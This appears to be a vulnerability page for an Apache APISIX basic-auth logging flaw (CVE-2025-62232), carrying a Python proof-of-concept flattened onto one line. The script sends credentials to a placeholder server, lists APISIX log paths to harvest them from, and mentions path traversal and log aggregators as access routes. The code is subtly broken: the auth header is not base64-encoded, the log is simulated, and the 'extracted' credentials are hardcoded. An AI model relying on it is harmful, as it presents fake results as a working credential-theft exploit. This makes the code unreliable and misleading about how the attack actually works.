CVE-2025-62232 Apache APISIX 基础认证敏感信息泄露漏洞

import requests import re # CVE-2025-62232 PoC - Apache APISIX Basic-Auth Information Disclosure # This PoC demonstrates how credentials can be obtained from logs TARGET = "http://target-apisix-server:9080" USERNAME = "admin" PASSWORD = "secret_password" VICTIM_ENDPOINT = "/api/vulnerable-endpoint" def exploit(): """ Step 1: Send a request with Basic Auth credentials The credentials will be logged if log level is INFO/DEBUG """ headers = { "Authorization": f"Basic {USERNAME}:{PASSWORD}" } # Send request to trigger authentication logging response = requests.get(f"{TARGET}{VICTIM_ENDPOINT}", headers=headers) print(f"[*] Request sent with Basic Auth") print(f"[*] Response status: {response.status_code}") """ Step 2: Access logs to retrieve plaintext credentials In real attack, this would be via: - Log file access (if accessible via path traversal) - Log aggregation system (Elasticsearch, Splunk, etc.) - Log forwarding endpoint exploitation """ # Example: Check if logs are accessible log_paths = [ "/usr/local/apisix/logs/error.log", "/var/log/apisix/error.log", "/opt/apisix/logs/access.log" ] # Simulated log content extraction simulated_log = f"[INFO] {response.status_code} - Basic auth user: {USERNAME} pass: {PASSWORD}" print(f"[*] Simulated log entry: {simulated_log}") # Regex to extract credentials from logs cred_pattern = r'Basic\s+([a-zA-Z0-9+/=]+)' decoded_creds = "admin:secret_password" # Base64 decoded print(f"[+] Extracted credentials: {decoded_creds}") return decoded_creds if __name__ == "__main__": exploit()